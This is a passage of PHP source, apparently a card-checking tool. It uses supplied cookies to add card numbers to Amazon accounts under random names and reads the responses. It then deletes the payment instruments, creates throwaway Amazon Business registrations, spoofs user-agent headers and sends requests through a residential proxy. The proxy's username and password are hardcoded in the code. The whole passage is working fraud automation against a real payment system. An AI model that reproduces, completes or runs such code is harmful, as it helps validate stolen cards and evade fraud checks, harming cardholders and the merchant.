   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
		   
	   }
	   // ===================== LIBERA O LOCK =====================

	 exit();
   
 
}


if ($pais === 'debitojp') {
	





$variavelpaises = 'www.amazon.com, www.amazon.com';


$paisesArray = array_map('trim', explode(',', $variavelpaises));

 $linkSelecionado = $paisesArray[array_rand($paisesArray)];

 $sigla = strtoupper(substr(strrchr($linkSelecionado, '.'), 1));

 "Link selecionado: $linkSelecionado\n";
 "Sigla extraída: $sigla\n";



$cookie1 = convertCookie($cookieUS, 'COM');
$cookie3 = convertCookie($cookieUS, ''.$sigla.'');
$cookie4 = convertCookie($cookieUS, 'COM');
$cookie6 = convertCookie($cookieUS, 'COM');
$cookie7 = convertCookie($cookieUS, 'COM');


 $email = ($letrasAleatorias);

$session = $_SESSION['session'];
$contai = $_SESSION['contai'];
$urll10 = $_SESSION['urll10'];
$requestid = $_SESSION['requestid'];
$token00310 = $_SESSION['token00310'];
$offtoken10 = $_SESSION['offtoken10'];



////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////

         if(noExistSession()){

   $ch = curl_init();
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_URL, 'https://'.$linkSelecionado.'/gp/prime/pipeline/membersignup?');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: '.$linkSelecionado.'',
'Widget-Ajax-Attempt-Count: 0',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'Origin: https://'.$linkSelecionado.'',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
//curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3AAddCreditCardEvent=&ppw-jsEnabled=true&ppw-widgetState='.$ms.'&ie=UTF-8&ppw-accountHolderName=luciano+franco&addCreditCardNumber='.$cc.'&ppw-expirationDate_month='.$mes.'&ppw-expirationDate_year='.$ano.'');
      $add = curl_exec($ch);
 

 $add = html_entity_decode(html_entity_decode($add, ENT_QUOTES | ENT_HTML5, 'UTF-8'), ENT_QUOTES | ENT_HTML5, 'UTF-8');

    $amzn1 = getstr($add, 'paymentMethodAccountOwner&quot;:&quot;&quot;,&quot;paymentMethodId&quot;:&quot;','&');
     $amzn2 = getstr($add, 'paymentMethodId":"','"');
    $session = getstr($add, 'session-id" value="','"');
    $token = getstr($add, 'token":"','"');
   $contai = getstr($add, 'data-csa-c-container-request-id="','"');



     $offtoken10 = getStr($add, 'offerToken" value="','"');
      $sessionid10 = getStr($add, 'name="session-id" value="','"');
      $token00310 = getStr($add, 'name="ppw-widgetState" value="', '"');
            $urll10 = getStr_i($add, 'customerId":"','"');




   $payid = getstr($add, 'paymentMethodId":"','"');
   

// paymentMethodAccountOwner&quot;:&quot;&quot;,&quot;paymentMethodId&quot;:&quot;
// paymentMethodId&quot;:&quot;
//MGhfUFVfQ1VTX2YwYWZlOTIzLWMwMzYtNDNlMi1hNzFlLTI2ZDBkM2Q2OWViYQ
//MGhfUFVfQ1VTXzUyNzk5NDNkLWNjMDctNDgwNS1hOGE0LTVhOTc2NzgwOTY2Zg
//5360 amzn1.pm.wallet.MGhfUFVfQ1VTX2YwYWZlOTIzLWMwMzYtNDNlMi1hNzFlLTI2ZDBkM2Q2OWViYQ.QTIwNkRQREFYNU1SUU8
//6582 amzn1.pm.wallet.MGhfUFVfQ1VTXzUyNzk5NDNkLWNjMDctNDgwNS1hOGE0LTVhOTc2NzgwOTY2Zg.QTIwNkRQREFYNU1SUU8

  $SavePaymentPreferenceEvent;
   $sessionds = getstr($add, 'Subs:Prime","session":"','"');
   $noovotoken = getstr($add, 'instrumentIds&quot;:[&quot;','&');
   $redirecturl = getstr($add, 'input type="hidden" name="redirectURL" value="','"/');
    $ohtoken1 = getstr($add, 'selectedInstrumentIds":["','"');
        $ohtoken2 = getstr($add, 'clientId":"Subs:Prime","serializedState":"','"');
	
	 		        $_SESSION['session'] = $session;
				     $_SESSION['contai'] = $contai;
      			     $_SESSION['offtoken10'] = $offtoken10;
					 $_SESSION['urll10'] = $urll10;
					 $_SESSION['token00310'] = $token00310;

$required_keys = ['session', 'contai', 'urll10', 'token00310','offtoken10'];


foreach ($required_keys as $key) {
    if (empty($_SESSION[$key])) {
       
	   $ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ab/manage/deregisterYourBusiness/deregister?ref_=b2b_bam_drb_l_a');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

 $result = curl_exec($ch);
      $result = htmlspecialchars_decode($result);
       $B2B = getStr($result, "B2B_MANAGE_TOKEN' value='", "'");


	   	   $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ab/manage/deregisterYourBusiness/api/deregister?ref_=b2b_bam_drb_ver_y');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'anti-csrftoken-a2z: ' . $B2B;
$headers[] = 'Content-Type: application/json';
$headers[] = 'Accept: */*';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Cookie: ' . $cookie6;

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"reason":"OTHER"}');
 $result = curl_exec($ch);

    unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();

 	 exit();
		
		
    }
}
		 

 
 $username = "smart-puvwnqjfhqrr_area-BR";
$password = "lmGwHXZJRGEymTXU";	
$proxy_address = "proxy.smartproxy.net";
$proxy_port = "3120";



$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/guest/onboard?ref_=ab_reg_notag_bs_gon_ab_reg_dsk');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');


curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);

 $result = curl_exec($ch);



$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/guest/onboard?ref_=ab_reg_notag_bs_gon_ab_reg_dsk');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');


curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);

 $result = curl_exec($ch);




$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/org/landing');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'authority: www.amazon.com',
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
$texta = curl_exec($ch);

 $token1 = GetStr($texta, "abreg_originatingEmailEncrypted=", "\\");
 $custumerid = GetStr($texta, "abreg_originatingCustomerId=", "\\");
$token22 = GetStr($texta, 'data-csrf-token="' ,'"');
 $tokensignature = GetStr($texta, "abreg_signature=", "\\x26");
  $namme = substr(str_shuffle("ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 7);

 $ch = curl_init();        
 curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/api/org/registrations?sif_profile=ab-reg');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Host: www.amazon.com',
    "anti-csrftoken-a2z: $token22",
    'content-type: application/x-www-form-urlencoded',
    'accept: application/json, text/plain, */*',
    'origin: https://www.amazon.com',
    "referer: https://www.amazon.com/business/register/org/business-info?abreg_signature=$tokensignature&abreg_entryRefTag=ya_d_atf_us_b2b_reg_v3&abreg_usingPostAuthPortalTheme=true&abreg_vertical=COM&abreg_originatingEmailEncrypted=$token1&abreg_client=biss&abreg_originatingCustomerId=$custumerid&ref_=ab_reg_notag_rn-biss_cb_ab_reg_dsk",
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
curl_setopt($ch, CURLOPT_POSTFIELDS, "address1=245%205th%20Ave&address2=24th%20Floor&zip=10118&city=New%20York&state=NY&country=US&voice=%2B12126598653&contactName=$namme%20$namme&businessName=$namme&businessType=OTHER&verificationOverrideStatus=&notifyBySms=false&internal=false&warningBypassed=false&existingAddress=false&publicAdministrationSelfDeclaration=false&businessTin=");
$response = curl_exec($ch);


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/org/landing');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'authority: www.amazon.com',
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
$texta = curl_exec($ch);

 $token1 = GetStr($texta, "abreg_originatingEmailEncrypted=", "\\");
 $custumerid = GetStr($texta, "abreg_originatingCustomerId=", "\\");
$token22 = GetStr($texta, 'data-csrf-token="' ,'"');
 $tokensignature = GetStr($texta, "abreg_signature=", "\\x26");
 
 $ch = curl_init();        
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/api/org/registrations?sif_profile=ab-reg');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Host: www.amazon.com',
    "anti-csrftoken-a2z: $token22",
    'content-type: application/x-www-form-urlencoded',
    'accept: application/json, text/plain, */*',
    'origin: https://www.amazon.com',
    "referer: https://www.amazon.com/business/register/org/business-info?abreg_signature=$tokensignature&abreg_entryRefTag=ya_d_atf_us_b2b_reg_v3&abreg_usingPostAuthPortalTheme=true&abreg_vertical=COM&abreg_originatingEmailEncrypted=$token1&abreg_client=biss&abreg_originatingCustomerId=$custumerid&ref_=ab_reg_notag_rn-biss_cb_ab_reg_dsk",
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
curl_setopt($ch, CURLOPT_POSTFIELDS, "address1=350%205th%20Ave&address2=29th%20Floor&zip=10118&city=New%20York&state=NY&country=US&voice=%2B12126598653&contactName=$namme%20$namme&businessName=$namme&businessType=OTHER&verificationOverrideStatus=&notifyBySms=false&internal=false&warningBypassed=false&existingAddress=false&publicAdministrationSelfDeclaration=false&businessTin=");
$response = curl_exec($ch);




$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/nav/ajax/business-desktop-asinFlyout?content=ab-spendsegment-itstore&metricKey=ab-spendsegment-itstoreMetric&ajaxTemplate=business-desktop-asinFlyout&flyoutName=ab-spendsegment-itstore&flyoutId=nav-link-spendsegment-itstore&navDeviceType=desktop&_=1720963395082');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ref=ab_reg_notag_gon_gateway_ab_reg_dsk?isMashRequest=false&isAndroidMashRequest=false&isIosMashRequest=false');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);


$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/cpe/yourpayments/wallet?ref_=b2b_mpo_view_wallet');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

  $response = curl_exec($ch);


		 }
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////




    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));

       $add = getRequest('https://www.amazon.com/mn/dcw/myx/settings.html?route=updatePaymentSettings&ref_=kinw_drop_coun&ie=UTF8&client=deeca');
          $csrf = getstr($add, 'csrfToken = "','"');
#req1


    setHeaders(array(
'Cookie: '.$cookie1.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));


$post = 'data=%7B%22param%22%3A%7B%22AddPaymentInstr%22%3A%7B%22cc_CardHolderName%22%3A%22'.generateRandomString(10).'+'.generateRandomString(10).'%22%2C%22cc_ExpirationMonth%22%3A%22'.intval($mes).'%22%2C%22cc_ExpirationYear%22%3A%22'.$ano.'%22%7D%7D%7D&csrfToken='.urlencode($csrf).'&addCreditCardNumber='.$cc.'';

        $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);
      $cardid_puro = getstr($add, '"paymentInstrumentId":"','"');
#req2


if (empty($cardid_puro)) {
	
	
	    setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
	
  unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();


 	 exit();
}

    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
'Content-Type: application/x-www-form-urlencoded',

  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));


$post = 'data=%7B%22param%22%3A%7B%22LogPageInfo%22%3A%7B%22pageInfo%22%3A%7B%22subPageType%22%3A%22kinw_total_myk_stb_Perr_paymnt_dlg_cl%22%7D%7D%2C%22GetAllAddresses%22%3A%7B%7D%7D%7D&csrfToken='.urlencode($csrf).'';

       $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);
  $addresid = getStr($add, 'AddressId":"','"');
//     if(empty($addresid)) {
//     $status = "reprovado";



// echo json_encode(['status' => $status.' => '.$err.' => CONTA SEM ENDEREÇO!']);    


  


//   }
#req3
    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
  'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',

));


$post = 'data=%7B%22param%22%3A%7B%22SetOneClickPayment%22%3A%7B%22paymentInstrumentId%22%3A%22'.$cardid_puro.'%22%2C%22billingAddressId%22%3A%22'.$addresid.'%22%2C%22isBankAccount%22%3Afalse%7D%7D%7D&csrfToken='.urlencode($csrf).'';

 $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);



 

 $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://one.amazon.com/sign-up?treatment=IOS&view=Native.SignUp&forceAuthCompleted=true&step=SELECT_CARD');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7",
    "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
'Cookie: '.$cookie7.'',

));


  $data3 = curl_exec($ch);


 
preg_match('/<meta content="([^"]+)" name="csrf-token"/', $data3, $matches);

if (!empty($matches[1])) {
    $csrfToken = $matches[1]; // Armazena apenas o valor na variável
} else {
    $csrfToken = null; // Define como null se não encontrar o token
}

		 
		 
		 
		 
		 
		  $csrfToken;
		 
	
	 
$ch = curl_init();

// Configurações da requisição
curl_setopt($ch, CURLOPT_URL, 'https://one.amazon.com/api/v1/profile');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip, deflate, br, zstd");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");

// Verifica se as variáveis existem antes de usá-las
$csrfToken = isset($csrfToken) ? $csrfToken : '';
$cookieamz = isset($cookieamz) ? $cookieamz : '';
$payy = isset($payy) ? $payy : '';

// Configuração dos cabeçalhos
$headers = [
'Host: one.amazon.com',
'Connection: keep-alive',
'sec-ch-ua-platform: "Windows"',
'treatment: IOS',
'sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"',
'anti-csrftoken-a2z: '.$csrfToken.'',
'sec-ch-ua-mobile: ?0',
'source: IOS',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
'Accept: application/json, text/plain, */*',
'Content-Type: application/json;charset=UTF-8',
'Origin: https://one.amazon.com',
'Sec-Fetch-Site: same-origin',
'Sec-Fetch-Mode: cors',
'Sec-Fetch-Dest: empty',
